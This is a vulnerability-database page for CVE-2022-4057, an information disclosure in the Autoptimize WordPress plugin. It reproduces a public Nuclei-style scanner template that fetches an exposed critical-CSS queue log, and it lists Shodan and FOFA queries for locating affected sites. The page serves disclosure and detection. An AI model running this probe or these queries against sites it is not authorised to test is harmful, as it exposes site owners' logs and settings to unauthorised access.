CVE-2022-4057: Autoptimize < 3.1.0 - Information Disclosure

日期: 2025-08-01 | 影响软件: Autoptimize | POC: 已公开

漏洞描述

The Autoptimize WordPress plugin before 3.1.0 uses an easily guessable path to store plugin's exported settings and logs.

PoC代码[已公开]

id: CVE-2022-4057

info:
  name: Autoptimize < 3.1.0 - Information Disclosure
  author: DhiyaneshDK
  severity: medium
  description: |
    The Autoptimize WordPress plugin before 3.1.0 uses an easily guessable path to store plugin's exported settings and logs.
  impact: |
    An attacker can gain access to sensitive information, potentially leading to further attacks.
  remediation: |
    Upgrade to Autoptimize version 3.1.0 or later to fix the information disclosure vulnerability.
  reference:
    - https://wpscan.com/vulnerability/95ee1b9c-1971-4c35-8527-5764e9ed64af
    - https://wordpress.org/plugins/autoptimize/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4057
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-4057
    cwe-id: CWE-425
    epss-score: 0.43452
    epss-percentile: 0.97364
    cpe: cpe:2.3:a:optimizingmatters:autooptimize:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: optimizingmatters
    product: autooptimize
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/autoptimize
    fofa-query: body=/wp-content/plugins/autoptimize
    publicwww-query: /wp-content/plugins/autoptimize
  tags: cve,cve2022,wpscan,wp,wordpress,wp-plugin,disclosure,autoptimize,optimizingmatters,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/uploads/ao_ccss/queuelog.html"
      - "{{BaseURL}}/blog/wp-content/uploads/ao_ccss/queuelog.html"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Job id &lt;'
          - 'log messages'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100fb22aaf144d4d7244fa71ccd47a14cf873000be4b3c659bccd625d92c575b7f502205ecab33fed5fe4e4a8f1203c618acda4f702496a1568718ed2bfc829a8d81ea6:922c64590222798bb761d5b6d8e72950

相关漏洞推荐